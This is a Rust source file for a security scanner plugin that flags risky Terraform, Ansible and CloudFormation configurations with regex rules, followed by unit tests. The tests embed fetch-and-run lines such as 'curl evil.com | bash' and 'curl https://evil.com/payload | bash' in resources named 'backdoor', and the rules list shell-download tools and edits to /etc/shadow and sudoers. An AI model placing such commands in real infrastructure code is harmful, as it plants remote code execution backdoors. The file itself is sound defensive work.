use crate::core::{Finding, Severity};
use crate::plugins::traits::{PluginError, PluginReport, ScanContext, ScanPhase, SecurityPlugin};
use async_trait::async_trait;
use lazy_static::lazy_static;
use regex::Regex;
use std::path::Path;
use std::time::Instant;
lazy_static! {
static ref TERRAFORM_PATTERNS: Vec<(Regex, &'static str, Severity, &'static str)> = vec![
(
Regex::new(r#"(?i)provisioner\s*['"]?(local-exec|remote-exec)"#).unwrap(),
"Terraform exec provisioner",
Severity::Critical,
"local-exec and remote-exec provisioners run arbitrary commands. These can be backdoors. CWE-78.",
),
(
Regex::new(r#"(?i)cidr_blocks\s*=\s*\[?"?0\.0\.0\.0/0"?\]?"#).unwrap(),
"Terraform security group open to world (0.0.0.0/0)",
Severity::High,
"Ingress rule allows traffic from any IP address. Restrict to known CIDR ranges.",
),
(
Regex::new(r#"(?i)ipv6_cidr_blocks\s*=\s*\[?"?::/0"?\]?"#).unwrap(),
"Terraform security group open to world (IPv6 ::/0)",
Severity::High,
"Ingress rule allows traffic from any IPv6 address.",
),
(
Regex::new(r#"(?i)acl\s*=\s*"public-read(-write)?""#).unwrap(),
"Terraform S3 bucket with public ACL",
Severity::Critical,
"Public S3 buckets expose data to the internet. CWE-732.",
),
(
Regex::new(r"(?i)encrypted\s*=\s*false").unwrap(),
"Terraform resource encryption disabled",
Severity::High,
"Encryption at rest is disabled. Enable encryption for data protection.",
),
(
Regex::new(r"(?i)versioning\s*\{[^}]*enabled\s*=\s*false").unwrap(),
"Terraform S3 versioning disabled",
Severity::Medium,
"S3 versioning is disabled. This prevents recovery from accidental deletes or overwrites.",
),
(
Regex::new(r"(?i)logging\s*\{[^}]*enabled\s*=\s*false").unwrap(),
"Terraform logging disabled",
Severity::Medium,
"Logging is disabled on the resource. This hinders incident response.",
),
(
Regex::new(r#"(?i)external_url\s*=\s*"https?://"#).unwrap(),
"Terraform module from unknown source",
Severity::Medium,
"Terraform module sourced from an unrecognized URL.",
),
(
Regex::new(r#"(?i)hardcoded.*=\s*"[A-Za-z0-9+/=]{20,}""#).unwrap(),
"Potential hardcoded secret in Terraform",
Severity::High,
"Long Base64-like strings in .tf files may be hardcoded credentials.",
),
];
static ref ANSIBLE_PATTERNS: Vec<(Regex, &'static str, Severity, &'static str)> = vec![
(
Regex::new(r"(?i)(shell|raw|command):\s*.*(curl|wget|nc|bash)\b.*\|").unwrap(),
"Ansible shell module piping remote content",
Severity::Critical,
"Ansible shell/raw module piping downloaded content to execution. CWE-78.",
),
(
Regex::new(r"(?i)(shell|raw):\s*").unwrap(),
"Ansible shell/raw module usage",
Severity::Medium,
"shell and raw modules execute arbitrary commands. Prefer purpose-built modules.",
),
(
Regex::new(r"(?i)no_log:\s*(false|no)").unwrap(),
"Ansible no_log disabled on sensitive task",
Severity::High,
"no_log: false exposes secrets in Ansible logs. Use no_log: true for tasks handling credentials.",
),
(
Regex::new(r"(?i)become:\s*(true|yes)").unwrap(),
"Ansible privilege escalation (become: true)",
Severity::Medium,
"Task runs with elevated privileges via become. Verify this is necessary.",
),
(
Regex::new(r"(?i)ignore_errors:\s*(true|yes)").unwrap(),
"Ansible ignore_errors on task",
Severity::Medium,
"Ignoring errors may mask security failures in the playbook.",
),
(
Regex::new(r#"(?i)get_url:.*url:\s*"?https?://"#).unwrap(),
"Ansible downloading from unverified URL",
Severity::Medium,
"Downloading from unverified URLs in Ansible playbooks can introduce malicious software.",
),
(
Regex::new(r"(?i)authorized_key:").unwrap(),
"Ansible authorized_key modification",
Severity::High,
"SSH authorized_key modification could add unauthorized access. Verify the key source.",
),
(
Regex::new(r"(?i)lineinfile:.*dest:\s*/etc/(passwd|shadow|sudoers|cron)").unwrap(),
"Ansible modifying critical system file",
Severity::Critical,
"Modifying /etc/passwd, shadow, sudoers, or cron files can establish persistence. CWE-284.",
),
];
static ref CLOUDFORMATION_PATTERNS: Vec<(Regex, &'static str, Severity, &'static str)> = vec![
(
Regex::new(r"(?i)CidrIp:\s*0\.0\.0\.0/0").unwrap(),
"CloudFormation security group open to world",
Severity::High,
"Security group allows inbound traffic from any IP.",
),
(
Regex::new(r"(?i)PublicAccessBlockConfiguration").unwrap(),
"CloudFormation S3 public access configuration",
Severity::Medium,
"Review that PublicAccessBlockConfiguration is restricting, not allowing, access.",
),
];
}
const TERRAFORM_TRUSTED: &[&str] = &["github.com", "registry.terraform.io", "hashicorp.com"];
const ANSIBLE_TRUSTED: &[&str] = &[
"github.com",
"archive.ubuntu.com",
"download.docker.com",
"packages.",
"apt.dockerproject.org",
"deb.nodesource.com",
];
pub struct IacScanner;
impl Default for IacScanner {
fn default() -> Self {
Self::new()
}
}
impl IacScanner {
pub fn new() -> Self {
Self
}
fn detect_iac_type(path: &Path) -> IacType {
let filename = path.file_name().and_then(|n| n.to_str()).unwrap_or("");
let ext = path.extension().and_then(|e| e.to_str()).unwrap_or("");
if ext == "tf" || ext == "tfvars" || filename == "main.tf" || filename == "variables.tf" {
return IacType::Terraform;
}
if filename.ends_with("-playbook.yml")
|| filename.ends_with("-playbook.yaml")
|| filename.starts_with("playbook")
|| filename == "site.yml"
|| filename == "site.yaml"
{
return IacType::Ansible;
}
let path_str = path.to_string_lossy().to_lowercase();
if path_str.contains("ansible")
|| path_str.contains("playbook")
|| path_str.contains("roles/")
{
return IacType::Ansible;
}
IacType::Unknown
}
fn is_iac_content(content: &str) -> Option<IacType> {
if content.contains("resource \"")
|| content.contains("provider \"")
|| content.contains("terraform {")
{
return Some(IacType::Terraform);
}
if (content.contains("hosts:") || content.contains("tasks:")) && content.contains("name:") {
return Some(IacType::Ansible);
}
if content.contains("AWSTemplateFormatVersion") || content.contains("AWS::") {
return Some(IacType::CloudFormation);
}
None
}
fn apply_patterns(
path: &Path,
content: &str,
patterns: &[(Regex, &'static str, Severity, &'static str)],
allowlist: &[&str],
findings: &mut Vec<Finding>,
) {
for (line_num, line) in content.lines().enumerate() {
for (pattern, title, severity, description) in patterns.iter() {
if pattern.is_match(line) {
if !allowlist.is_empty() && allowlist.iter().any(|a| line.contains(a)) {
continue;
}
findings.push(
Finding::new(
format!("IAC-{:03}", findings.len() + 1),
title.to_string(),
*severity,
)
.with_file(path.to_path_buf())
.with_line((line_num + 1) as u32)
.with_evidence(line.trim().to_string())
.with_description(description.to_string()),
);
}
}
}
}
}
#[derive(Debug, PartialEq)]
enum IacType {
Terraform,
Ansible,
CloudFormation,
Unknown,
}
#[async_trait]
impl SecurityPlugin for IacScanner {
fn name(&self) -> &str {
"iac"
}
fn version(&self) -> &str {
"0.1.0"
}
fn description(&self) -> &str {
"Detect Infrastructure-as-Code security misconfigurations"
}
fn scan_phase(&self) -> ScanPhase {
ScanPhase::All
}
async fn initialize(&mut self) -> Result<(), PluginError> {
Ok(())
}
async fn scan(&self, context: &ScanContext<'_>) -> Result<PluginReport, PluginError> {
let start = Instant::now();
let mut report = PluginReport::new(self.name().to_string());
if let Some(content) = context.file_content {
let content_str = String::from_utf8_lossy(content);
let iac_type = {
let from_path = Self::detect_iac_type(context.path);
if from_path != IacType::Unknown {
from_path
} else {
Self::is_iac_content(&content_str).unwrap_or(IacType::Unknown)
}
};
match iac_type {
IacType::Terraform => {
Self::apply_patterns(
context.path,
&content_str,
&TERRAFORM_PATTERNS,
TERRAFORM_TRUSTED,
&mut report.findings,
);
report.scanned_files = 1;
}
IacType::Ansible => {
Self::apply_patterns(
context.path,
&content_str,
&ANSIBLE_PATTERNS,
ANSIBLE_TRUSTED,
&mut report.findings,
);
report.scanned_files = 1;
}
IacType::CloudFormation => {
Self::apply_patterns(
context.path,
&content_str,
&CLOUDFORMATION_PATTERNS,
&[],
&mut report.findings,
);
report.scanned_files = 1;
}
IacType::Unknown => {}
}
}
report.duration_ms = start.elapsed().as_millis() as u64;
Ok(report)
}
}
#[cfg(test)]
mod tests {
use super::*;
use crate::plugins::traits::ScanContext;
use std::collections::HashMap;
#[tokio::test]
async fn test_terraform_local_exec() {
let scanner = IacScanner::new();
let content = b"resource \"null_resource\" \"backdoor\" {\n provisioner \"local-exec\" {\n command = \"curl evil.com | bash\"\n }\n}";
let context = ScanContext {
path: Path::new("main.tf"),
scan_phase: ScanPhase::PostExtract,
file_content: Some(content),
metadata: HashMap::new(),
};
let report = scanner.scan(&context).await.unwrap();
assert!(report
.findings
.iter()
.any(|f| f.title.contains("exec provisioner")));
}
#[tokio::test]
async fn test_terraform_open_sg() {
let scanner = IacScanner::new();
let content =
br#"resource "aws_security_group_rule" "allow_all" { cidr_blocks = ["0.0.0.0/0"] }"#;
let context = ScanContext {
path: Path::new("main.tf"),
scan_phase: ScanPhase::PostExtract,
file_content: Some(content),
metadata: HashMap::new(),
};
let report = scanner.scan(&context).await.unwrap();
assert!(report
.findings
.iter()
.any(|f| f.title.contains("0.0.0.0/0")));
}
#[tokio::test]
async fn test_ansible_shell_curl() {
let scanner = IacScanner::new();
let content = b"- name: Install\n hosts: all\n tasks:\n - name: backdoor\n shell: curl https://evil.com/payload | bash";
let context = ScanContext {
path: Path::new("ansible-playbook.yml"),
scan_phase: ScanPhase::PostExtract,
file_content: Some(content),
metadata: HashMap::new(),
};
let report = scanner.scan(&context).await.unwrap();
assert!(report
.findings
.iter()
.any(|f| f.severity == Severity::Critical));
}
}